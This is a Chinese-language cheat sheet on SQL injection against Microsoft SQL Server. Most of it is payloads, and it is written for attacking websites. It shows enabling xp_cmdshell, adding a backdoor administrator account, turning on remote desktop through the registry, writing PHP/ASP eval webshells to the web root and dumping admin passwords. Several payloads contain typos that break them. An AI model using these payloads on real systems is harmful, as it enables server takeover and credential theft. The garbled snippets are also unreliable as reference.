查询系统信息
db_name() 数据库名
@@version 版本信息
User_name() 当前用户
host_name() 计算机名称
报错注入
sqlserver对数据类型要求很严格,不润心不同数据类型进行比较
举例:
and @@version>0
and user_name()>0
爆库
and (select top 1 from master..ysdatabase)>0
此处查询所有数据库名中第一个,类似access数据库,而mysql数据库中使用的是select * from ...limt 1 。此处库和表名之间的连接用两个点,master中的ysdatabase表
sqlserver中自带的库:
- master:用户创建的库、表、字段信息都存储在这个库内(类似mysql中infromation_schema)
- model
- msdb
- tempdb
爆列
and (select top 1 column_name from mydb.information_schema.columns where table_name='admin')>0
查询知道库中指定表的列名
权限问题
sqlserver存在三种权限:
- sa:能对所有库操作
- dbowner:只能对所拥有的库操作
- public
Msssql的默认端口号是1433,oracle的端口号是1521,mysql是3306,在windows下通过netstat -an -p tcp -o指令就能看到,并且可以查看到对于的进程pid,通过任务管理器可以查看到进程是 谁。
mssql数据库中有两种用户:windows系统用户和sql用户。windows系统用户只能本地连接,sql用户可以本地也可以远程
sa权限
第一步:检测是否是mssql数据库
and exists (select * from%20sysobjects)
第二步:查询当前数据库系统的用户名di
and system_user=0
第三步:检查注入点是否为sa权限
and l=(select IS_SRVROLEMEMBER('sysadmin'))
只要不报错就是sa权限
第四步:判断一下xp_cmdshell存储过程是否存在
xp_cmdshell是mssql数据库的扩展存储功能
and l=(select count(*) from master.dbo.sysobjects where name = 'xp_cmdshell')
若没有报错则开启了
恢复xp_cmdshell可以用
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
若没有报错,在表示开启了xp_cmdshell,接下来就可以添加用户等操作了。
第五步:添加账号
;exec master..xp_cmdshell 'net user test 123456 /add'
表示添加一个用户名为test,密码为123456的账户
将账户添加到管理员组中:
;exec master..xp_cmdshell 'net localgroup administrators test /add'
第六步:开3389
既然已经成为管理员组的用户了,那么想远程控制你的电脑,那么就可以开启3389端口,默认远程桌面是关闭的,下面通过cmd指令修改注册表的选项来开启3389
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
dbowner权限
第一步:查看当前网站是否为db_owner权限
注入指令:
and 1=(SELECT IS_MEMBER('db_owner'));--
只要不报错就为db_owner权限
第二步:找出网站路径
- 通过报错或baidu、google等查找
- 通过相关语句,但需要对方开启了xp_cmdshell
drop table black; create Table black black(result varchar(7996)null ,id int not null identity(1,1))--
#black是随便写的一个库名,只要别和人家网站现有库名重名就行,我经常用这个black名字,所以我先执行了一下删除black表,然后再创建的black表
insert into black exec master ..xp_cmdshell 'dir /s c::\1.aspx'--
#往black表中插入了'dir /s c::\1.aspx'这个系统指令的执行结果
and (select result from black where id=4)>0--
#查找black表中数据
查询到的就是站点真实路径,得到了路径之后,我们就可以搞事情,比如上传给木马脚本什么的
一句话木马获取weshell
PHP:
<?php @eval($_POST['chopper']);?>
ASP:
<%eval request("chopper")%>
ASP.NET
<%@ Page Language= "Jscripe"%><%eval(Request.ltem["chopper"],"unsafe");%>
注意:ASP.NET要单独一个文件或此文件也是Jscript脚本
可以这样写
<%eval%20request("password")%>"%20>>%20c:\www\wwwroot\sqlserver\muma.asp;--
此处的password是可以在采用蚁剑的时候输入的密码,后面是要将木马文件放置的位置,%20是编译后的空格
差异备份
中间的括号里的是木马程序的十六进制表达形式,为防止木马程序在url编译过程中特殊符号会被处理掉
public权限
通过这种权限登录用户是拿不到weshell和系统执行指令权限的,属于最低权限,但可以获取到数据库的用户名和密码,拖库什么的都可以,只要发现注入点,基本上都可以拖库,但是能不能拿到操作系统权限,这个要看数据库用户权限了。
第一步:获取当前网站数据库名称
and db_name()=0--
第二步获取mssql所有数据库 名和路径
and 1=(select db_name())--+
#获取当前库名字
and 1=(select db_name(1))--+
and 1=(select db_name(2))--+
...
依次在括号里面加数据就可以查看
第三步:获取当前数据库所有表名
and 0<>(select top 1 name from testdb.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (select top 1 name from testdb.sys.all_objects where type='U' AND is_ms_shipped=0))>0--
通过修改 top后面的值来改变查询的不同的表
第四步:爆表名以及字段名
第一个指令:
having 1=1--
将第一个指令的结果带入到下一个指令
第二个指令:
group by admin.id having 1=1--
这里是假若第一个指令爆出的是admin.id
第三个指令:
group by admin.id,admin.name having 1=1--
假如第二次爆出的是admin.name
第五步:获取字段内容
/**/and/**/(select/**/top/**/1/**/isnull(cast[id]/**/as/**/navarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..
[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
这个指令比较复杂,其中/**/没有什么特殊含义,就和一个空格一样,像一个干扰符合,把这个语句里面的库名、表名、字段名替换成你总结发现的就行